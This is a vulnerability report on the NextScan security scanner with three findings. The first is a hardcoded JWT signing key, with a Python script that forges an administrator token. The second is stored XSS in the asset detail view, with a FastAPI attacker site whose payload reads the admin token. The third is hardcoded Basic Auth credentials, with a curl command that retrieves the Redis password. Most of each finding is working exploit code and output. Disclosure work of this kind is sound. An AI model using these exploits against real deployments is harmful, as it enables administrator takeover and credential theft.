NextScan Vulnerability Report
Software: NextScan
Developer or vendor: Tongcheng Travel Information Security Team
Code repository: https://github.com/tongcheng-security-team/NextScan
1. Hardcoded JWT Signing Key Allows Administrator Impersonation
| Brief description: | An attacker extracts the hardcoded JWT signing key from the public image and forges an administrator token that is accepted by every management API endpoint. |
|---|---|
| Affected versions: | 1.1.0 to 1.2.0 |
| Preconditions: | None |
Root Cause
The management API verifies X-Access-Token with HS256. The signing key is a string constant in the ns-admin binary. pkg/config has no field for it and conf.ini has no section for it, so a deployment cannot replace the key through configuration or an environment variable.
After the signature check, the middleware only reads id and roleIds from the token. It does not check that the user exists or that the role is valid. The logic lives in pkg/http/middleware and pkg/http/router.Auth.
A token with an arbitrary id and the built-in super administrator role ID is therefore accepted as an administrator.
The published images 1.1.0, 1.1.1 and 1.2.0 carry the same key, hence the affected range.
Reproduction Environment
The lab runs the official compose deployment. The bitnami/etcd and minio/minio images in the official compose file can no longer be pulled, so the lab uses bitnamilegacy/etcd and bitnamilegacy/minio instead. The createbuckets service depends on minio/mc, which is also unavailable, so it is omitted. This does not affect the reproduction. The rest matches the official file:
services:
redis:
image: "redis:alpine"
command: --requirepass "3d7a6447328dcde6"
container_name: ns-redis
mongo:
image: "mongo:4.2.23"
command: [--auth]
environment:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: root
MONGO_DATABASE: NextScan
MONGO_USERNAME: NextScan
MONGO_PASSWORD: 56074e26d5a39aad
volumes:
- ./mongo/init:/docker-entrypoint-initdb.d
- ./mongo/data:/data/db
container_name: ns-mongo
etcd:
image: "bitnamilegacy/etcd:3.5.6"
environment:
- ETCD_ROOT_PASSWORD=0117be99f79bf9e2
container_name: ns-etcd
minio:
image: "bitnamilegacy/minio:2021.4.18"
volumes:
- ./minio/data:/data
environment:
MINIO_ACCESS_KEY: "vi75e"
MINIO_SECRET_KEY: "hFimqbrlBE"
command: server /data
container_name: ns-minio
web:
image: "lysec/ns-admin:latest"
ports:
- "80:80"
depends_on:
- redis
- mongo
- etcd
- minio
container_name: ns-admin
scan:
image: "lysec/ns-scan:latest"
depends_on:
- web
container_name: ns-scan
craw:
image: "lysec/ns-craw:latest"
depends_on:
- web
container_name: ns-craw
mongo/init comes from the official repository. The UI is then at http://127.0.0.1.
Reproduction
Extract the key from the image:
$ docker run --rm --entrypoint sh lysec/ns-admin:v1.2.0 -c 'strings /next-scan/ns-admin | grep nscan_admin_api_jwt_secret_key'
nscan_admin_api_jwt_secret_key
Sign a token with that key and read the user list:
import httpx
import jwt
BASE = "http://127.0.0.1"
token = jwt.encode(
{
"exp": 1794062983,
"id": "5db002504da8ad2e24d0052d",
"orig_iat": 1793976583,
"roleIds": "5e36ddf74da8ad2e24fb5f51",
},
"nscan_admin_api_jwt_secret_key",
algorithm="HS256",
)
print(token)
headers = {"X-Access-Token": "ns-admin " + token}
print(httpx.get(BASE + "/v1/sys/user/list", headers=headers).text)
The output is:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y
{"code":200,"message":"OK","result":[{"id":"5db002504da8ad2e24d0052d","username":"admin","realname":"管理员","workNo":"00001","avatar":"","sex":1,"phone":"18888888888","desc":"系统默认账户","createBy":"","updateBy":"","status":1,"email":"nextscan@163.com","source":"","updateTime":"2023-02-14T08:21:15.22Z","createTime":"2021-05-18T07:33:51.228Z"}],"success":true,"timestamp":1793976583830,"total":1}
Write the token into localStorage in the browser console, then open the home page:
localStorage.setItem('pro__Access-Token', JSON.stringify({value: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y', expire: null}));

The user list shows the administrator account:

2. Stored XSS in the Asset Detail View
| Brief description: | The scanner crawls a site controlled by the attacker and stores the form body in the asset library. A user who opens the asset detail view runs the attacker’s script, and the attacker takes over the victim’s account. |
|---|---|
| Affected versions: | 1.1.0 to 1.2.0 |
| Preconditions: | A scan task targets a site controlled by the attacker. |
Root Cause
When the crawler visits a page, it submits the forms on that page and writes each request body to Asset_URL.data. The URL asset detail dialog renders that field through domProps.innerHTML:
// web/js/chunk-7371b739.7ed9f6ed.js, image lysec/ns-admin:1.2.0
domProps:{innerHTML:e._s(e.form.data)}
The same dialog renders request headers with json-viewer, which builds an innerHTML string from a value that starts with http://, so a header value injects script as well:
// web/js/chunk-e9af1076.1c09d728.js, image lysec/ns-admin:1.2.0
domProps=n?{innerHTML:'"'+(t='<a href="'+t+'" target="_blank" class="jv-link">'+t+"</a>").toString()+'"'}
Both renderers are the same in the published images 1.1.0, 1.1.1 and 1.2.0.
Reproduction Environment
The management side is deployed as in section 1. The attacker site must run on a host the scan node can reach. In the commands below, 172.28.0.1 stands for that host and 18899 for its port:
from fastapi import FastAPI
from fastapi.responses import HTMLResponse, PlainTextResponse
app = FastAPI()
@app.get('/xss-form', response_class=HTMLResponse)
def xss_form():
return '''<html><body>
<form action="/submit" method="POST">
<input name="x" value="<img/src='http://172.28.0.1:18899/slow?ms=8000'onerror="document.body.innerText=localStorage.getItem('pro__Access-Token')">">
<input type="submit" value="send">
</form>
</body></html>'''
@app.post('/submit', response_class=HTMLResponse)
def submit():
return '<html><body>ok</body></html>'
@app.get('/slow')
async def slow(ms: int = 5000):
import asyncio
await asyncio.sleep(ms / 1000)
return PlainTextResponse('slow')
Start it:
$ uvicorn attacker:app --host 0.0.0.0 --port 18899
Reproduction
Create a project in the management UI with the target http://172.28.0.1:18899/xss-form, enable the crawler and run it. The crawler submits the form, and the request body is stored in the asset library:
{"_id":{"$oid":"6aedf916844f93e35bb80381"},"url":"http://172.28.0.1:18899/submit","data":"x=<img/src='http://172.28.0.1:18899/slow?ms=8000'onerror=\"document.body.innerText=localStorage.getItem('pro__Access-Token')\">"}
The crawler encodes spaces in the request body as +, so the payload contains no spaces.
In 资产管理, open url资产 and click 详情 on that row. The dialog renders the body as HTML, and the img tag starts loading the slow endpoint:

Eight seconds later the image fails to load, onerror runs, and the page prints the administrator token from localStorage:

3. Hardcoded Basic Auth Credentials on the Agent API
| Brief description: | The agent API uses hardcoded Basic Auth credentials. An attacker who sends these credentials reads the node configuration, including the Redis password. |
|---|---|
| Affected versions: | 1.1.0 to 1.2.0 |
| Preconditions: | None |
Root Cause
pkg/http/router.AuthAgent builds a gin.Accounts map from the constant nextagent, used as both the user name and the password. pkg/http/router.AuthExternal does the same with nEXtSCAnExTERNal. Neither has a configuration option, so a deployment cannot change them.
Reproduction Environment
Same as section 1.
Reproduction
Request the node configuration:
$ curl -s -u nextagent:nextagent 'http://127.0.0.1/agent/config?group=2'
The output is:
{
"code": 200,
"message": "OK",
"result": {
"Redis": {
"Addr": "ns-redis:6379",
"PoolSize": 10,
"MinIdleConns": 3,
"Password": "3d7a6447328dcde6"
},
"Etcd": {
"endpoints": [
"ns-etcd:2379"
],
"auto-sync-interval": 0,
"dial-timeout": 5000000000,
"dial-keep-alive-time": 0,
"dial-keep-alive-timeout": 0,
"MaxCallSendMsgSize": 0,
"MaxCallRecvMsgSize": 0,
"TLS": null,
"username": "",
"password": "",
"reject-old-cluster": false,
"DialOptions": null,
"Context": null,
"Logger": null,
"LogConfig": null,
"permit-without-stream": false
},
"cookiePath": "/ns/cookie/global/",
"ServerToken": "nextagent",
"heartbeat": "@every 1m",
"agentLeaseTTL": 70,
"agentInfoPrefix": "/ns/agent/info/",
"pluginPrefix": "/ns/plugin/",
"payloadPrefix": "/ns/payload/",
"scanConfigPrefix": "/ns/agent/config/",
"weakPassCnt": 10
}
}